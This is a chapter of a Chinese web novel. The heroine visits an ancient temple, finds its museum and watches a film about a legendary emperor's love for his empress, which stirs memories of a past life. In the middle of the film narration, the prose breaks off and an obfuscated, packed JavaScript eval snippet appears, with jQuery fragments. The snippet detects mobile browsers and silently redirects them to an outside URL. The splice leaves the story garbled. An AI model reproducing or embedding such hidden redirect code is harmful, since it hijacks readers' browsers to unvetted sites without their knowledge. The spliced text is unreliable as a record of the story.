飞檐在晨雾中若隐若现,恍如某个褪色的旧梦。那些翘起的檐角像一只只展翅的鸟,停在半空中,等了千年也没飞走。
远处青山的身影突显,清风白云千峦举,千年古刹飞阁流丹,在此屹立了千百年,默默注视着人世间的悲喜烂剧。
许念虽然外表大大咧咧的,可因着老爸对她从小的影响,对神佛之事分外虔诚。
她跪在蒲团上,双手合十,默念着心底的愿望。后又抬起头,望向那尊塑金的佛像,那佛像仿佛也在看她。她眼眸微动,心里忽然涌起一股说不清的悸动,像是跨越了千年的距离,有什么东西在这一刻无声地交汇了。
人实在是太多了,晨钟再响,香客越来越多。摩肩接踵,挤得水泄不通。
许念被挤得东倒西歪,好不容易才从人群里挤出来,回头望了一眼,大殿里香烟缭绕,金色的佛像在烛火中半明半暗,慈悲的眼睛低垂着,俯瞰着脚下芸芸众生。
她微微一叹,这方寸天地,究竟承载了多少痴人的夙愿?
烧完了香,许念跟着父母出来,穿过拥挤的庭院,走到一处稍微空旷的地方。
一棵大树下围满了人,都在往树上挂红色的许愿条。那些红条子在风中轻轻飘动,像一片片红色的云。
许父许母也求了一个,黄纸上写着“全家平安”四个字,端端正正。
许念抬头看着这棵树,不是庙里常见的高大银杏,也不是松柏,而是一棵桂花树。
低矮,枝繁叶茂,即便在冬日,也能想象出秋天时满树金黄的景象。她有些奇怪,从小到大去过不少寺庙,从来没见过种桂花树的。这座寺庙她从小就来过,可从来没有了解过它的历史。
心血来潮地,她突然很想知道,这里曾经发生过什么,最开始挂上红幡的,又是哪一位虔诚的痴人。
恰好有一个穿着灰色僧袍的僧人从旁边经过,许念连忙拦住他,指了指那棵桂花树,问道:“师父,这桂花树有什么来头吗?”
那僧人停下脚步,先是合十行了礼,态度和善,然后笑眯眯地说:“施主,殿门那边有语音讲解器,施主可以去租赁一个。扫那边的二维码就行。”
许念:“……”
喵了个咪的,你口头回答一下不就行了吗?
那僧人却笑眯眯地看着她,又行了个礼,转身就走了。
许念站在原地,很是无语。什么高僧,分明是个搞推销的。
老爸老妈还在后面跟着道士念经,摇铃铛、烧黄纸,忙得不亦乐乎。许念跟他们说了一声,自己一个人开始在寺庙里闲逛。
逢渠寺比她想象中大得多。绕过正殿,穿过一条幽静的长廊,两边是郁郁葱葱的竹林,风吹过,沙沙作响。
长廊尽头,立着一块古旧的石碑,上面刻着“逢渠寺”三个大字,字迹已经有些模糊了,被风雨侵蚀出深深的沟壑。石碑旁边,是一扇不起眼的小门,门楣上挂着一块木牌——“逢渠寺博物馆”。
许念挑了挑眉,哟,发展得越来越好了嘛,都有博物馆了。她抬脚迈了进去。
博物馆不大,人也很少。进门的地方,迎面是一面白墙,上面写着一行大字——“渠今正是我,我今不是渠。”
啥意思呀?
许念摸了摸脑袋,不明所以,继续往里走去。转角处的墙上挂着一幅展板,介绍着逢渠寺的历史。
“逢渠遇她。”
“望在晨钟暮鼓或轮回之中,再次与她相逢。”
“逢渠寺背后堪比梁祝的浪漫爱情故事。”
……
许念心头一跳,一股不明的悸动涌上心头。她有些慌乱地加快了脚步,往里走去。
玻璃展柜里,陈列着一些古代的物件。
首饰、华服、还有一把锈迹斑斑的锄头。
许念凑近去看,展柜旁边的说明牌上写着——“靖安帝与明贤皇后遗物。相传明贤皇后生前喜种菜,此锄为其所用。”
脑子里像有什么东西炸开了。眼前闪过一些零碎的画面。
一个鹅黄色的身影蹲在菜地里,手里拿着这把锄头,在翻土。
一只猫蹲在旁边,虎视眈眈地盯着刚冒芽的菜苗。
一双修长的手伸过来,接过锄头,扔给身后的侍卫。
那些画面太快了,快得她根本来不及看清,只留下一些模糊的影子,和一种说不清的情绪。
就在这时候,一阵音乐声忽然响起,许念吓了一跳。
博物馆深处,一块投影屏突然亮了起来,开始播放什么。前面站着的几个游客也被吸引过来,纷纷走到观览椅上坐下,仰着头,看得入神。
投影屏上,是一段AI短剧。
短剧讲的是千年前大楚国的第六代君王,年号靖安,相传他天生龙象,多年隐忍一朝登基,开创靖安盛世。
不过这部短剧讲的明显不是他的宏图大业,那些兵戈铁马的故事匆匆掠过,浓墨重彩的,是传说中堪比梁祝的爱情故事。
画面中是一个穿着古装的男人抱着一个浑身是血的女人,背景是漫天大火。
“我不允许你死!”男人大喊道。
“王爷,妾身不能陪伴王爷了……”女人虚弱地说,“王爷要好好照顾自己,不要难过……”说完,一歪头,吐血而亡。
凄惨的音乐响起,唢呐吹得震天响,旁边好几个大妈已经开始抹眼泪了。
许念坐在那里,脑海里只有一个念头。
不是这样的!
她也不知道为什么会有这个念头,可她就是觉得,不是这样的!
悲情的画面暂息,片刻后,屏幕上出现几个字——“一年后。”
然后画面重新亮了起来,画风却忽然变了。不再是假的离谱的AI短剧动画,而是精致的实景拍摄。
镜头从高空俯瞰,云雾缭绕间,一座古寺若隐若现,飞檐翘角,层峦叠嶂,像一幅水墨画。
旁白的声音低沉而缓慢:“靖安元年,帝登基,改国号。上年除夕,明贤皇后薨,帝命葬于皇陵。帝悲痛欲绝,罢朝三日,素斋半月。此后每年除夕,帝必至静安寺,为皇后祈福,祈求再次相见。为感君王辗转思,后寺内空寂大师改寺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414052|198067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名为——逢渠寺。”
“妈妈,不是说皇后死了吗?怎么相见?”
一个稚嫩的声音响起。
女孩的妈妈“嘘”了一声,用只有小女孩能听见的声音轻声说:“据说她没死,后面就回来了。”
许念没有听到母女俩的耳语,她所有的注意力全部后面真人演绎的剧情吸引了。
只见——
寺庙后院禅房的门被轻轻推开,木轴转动的声音在晨雾中显得格外清晰。
一小沙弥正执帚清扫着阶前的落叶,闻言微微一怔。
实在是因为此刻晨钟尚未敲过三响,山寺露重,香客未至,怎么会有人这般早来?
他侧身回望,却见一道修长身影踏着薄雾而来——锦衣玉带,眉目如画,恰似这青山深处拂过的一缕清风,叫人见之忘俗。
许念盯着屏幕里那张脸,心脏像被什么东西狠狠撞了一下。
这个演员找得……怎么这么像他?
她忽然觉得有些细思极恐,长得像……像谁?她又没见过靖安帝啊。
画面还在继续。
那小沙弥吓了一跳,连忙要行礼。
来人却摆摆手,尽先疲惫。
那双本该如水墨丹青般写意风流的桃花眼,此刻布满血丝,眼尾泛红,似有万钧悲恸沉沉压着,连眼下的青灰都透着一股倦极的苍凉。他整个人像是被抽走了魂魄,唯剩一副形骸勉强支撑着。
小沙弥不敢耽搁,匆匆入内通报。
禅房内,名叫寂空的大师早已备好茶案。袅袅茶烟中,老僧眉目慈和,仿佛早已料定这场相逢。
“陛下此来,可是为了明贤皇后?寂空轻啜一口清茶,缓声问道。
靖安帝的指节骤然攥紧,青白一片:“毕生所求,不过再见她一面。”
“斯人已逝,”寂空大师的叹息化作禅房梁上盘旋的烟:“陛下可知,执念如刀?“
话音落下的刹那,窗外忽有山风掠过,惊起檐角铜铃叮咚。
靖安帝没有回答。他只是抬起修长的手,看着自己无名指上那条细细的红线。那红线在烛光下若隐若现,像一道永远愈合不了的伤口。
“她总会回来的。”他说。
小沙弥退出禅房时,隐约听得只言片语,却不敢细听。廊外古树枝头,一对山雀正互相依偎,啾啾私语。
“在天愿作比翼鸟……”
小沙弥突然想起这一句来,他自幼遁入空门,六根清净,不知情爱为何物。可此刻望着那一对鸟儿,再想起陛下眼中蚀骨的痛,竟无端生出几分红尘妄念——
但愿佛祖垂怜,允他再见她一面吧。
晨钟再响,香客渐至。小沙弥低头继续清扫落叶,沙沙声里,一片枯叶打着旋儿落在他脚边。
投影屏暗了下去,博物馆里重新安静下来。许念坐在角落里,一动不动。她不知道自己什么时候哭了,只是觉得脸上凉凉的,抬手一摸,全是泪。她看着自己湿漉漉的手指,愣了好一会儿。
为什么要哭呢?
是不是,她遗忘了什么?